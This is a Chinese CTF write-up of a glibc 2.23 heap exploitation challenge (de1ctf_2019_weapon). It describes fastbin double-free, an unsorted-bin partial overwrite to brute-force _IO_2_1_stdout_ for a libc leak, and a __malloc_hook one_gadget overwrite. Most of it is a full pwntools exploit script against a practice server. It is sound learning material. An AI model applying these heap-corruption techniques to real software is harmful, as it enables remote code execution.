(这是我真正意义上的完完全全自己做的第一道堆题目,虽然花了*个小时,谨以此篇纪念一下)
题目的例行检查我就不放了,将程序放入ida中
程序的逻辑十分简单,漏洞也非常明显
重点是这个程序没有给我们show函数,所以第一时间想到了爆破stdout和house of force这俩方法,但是house of force需要溢出去修改topchunk,所以这个题目使用爆破io_stdout来做
这道题的思路是将chunk在unsorted bin中释放去获得aren的值,要注意因为程序开启得alsr 但是地址得后三位是固定得,所以我们要通过修改aren得值为 _IO_2_1_stdout_-0x43的值 通过爆破一个字节去申请到该位置
我通过在chunk里面嵌套chunk去修改aren的值 然后当我们修改了io_stdout这块位置的值后会打印出libc的值,我们就可以往malloc_hook的值覆盖为one_gadget的值去拿到shell
完整exp如下:
from pwn import * #p = process('./de1ctf_2019_weapon') elf = ELF('./de1ctf_2019_weapon') libc = ELF('./libc-2.23.so') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,index,content): p.sendlineafter('choice >> ','1') p.sendlineafter('wlecome input your size of weapon: ',str(size)) p.sendlineafter('input index:',str(index)) p.sendafter('input your name:',content) def edit(index,content): p.sendlineafter('choice >>','3') p.sendlineafter('idx: ',str(index)) p.sendafter('content: ',content) def free(index): p.sendlineafter('choice >>','2') p.sendlineafter('idx :',str(index)) def pwn(): #launch_gdb() add(0x50,0,'aaaa') add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f)) #往chunk里面伪造chunk,使uaf的chunk能申请到这里,以便于修改下个chunk的大小 add(0x50,2,'aaaa') add(0x60,3,'aaaa') add(0x50,4,'aaaa') add(0x60,5,'aaaa') free(0) free(1) free(0) add(0x50,0,'\xb0') #修改fd的值改变了链表结构 add(0x50,1,'aaaa') add(0x50,0,'aaaa') add(0x50,7,p64(0)+p64(0xd1)) #注意这里的d1一定不能随便的填,需要能刚好覆盖到下一个chunk的大小 free(2) free(3) add(0x50,8,'a') #将修改的0xd1大小的chunk还原 add(0x50,9,'a') add(0x50,10,'a') free(2) free(4) free(2) add(0x50,2,'\x10') add(0x50,4,'aaaa') add(0x50,2,b'a'*0x40+p64(0)+p64(0x6f)) #修改chunk的内容,以便于下个chunk能申请到0x10的位置 add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25') add(0x60,3,'aaaa') add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00') libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600 #爆破io_stdout的值后会将遇到的第一个/x7f打印出来,所以不能直接减去偏移去获得libc——base if libc_base == -0x3c5600: exit(-1) print('libc_base-->'+hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] one = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget = libc_base+one[2] print('one_gdbget-->'+hex(one_gadget)) add(0x60,13,'a') add(0x60,14,'a') add(0x60,15,'a') free(13) free(14) free(13) add(0x60,13,p64(malloc_hook-0x23)) add(0x60,14,'a') add(0x60,13,'a') add(0x60,16,b'a'*0x13+p64(one_gadget)) free(0) free(0) p.interactive() if __name__=='__main__': while True: #p=process('./de1ctf_2019_weapon') p = remote('node4.buuoj.cn','25633') try: pwn() except: p.close()
(吐槽一下index由自己选择的这种题目是真的麻烦,做了半天给我自己都搞的有点小迷惑)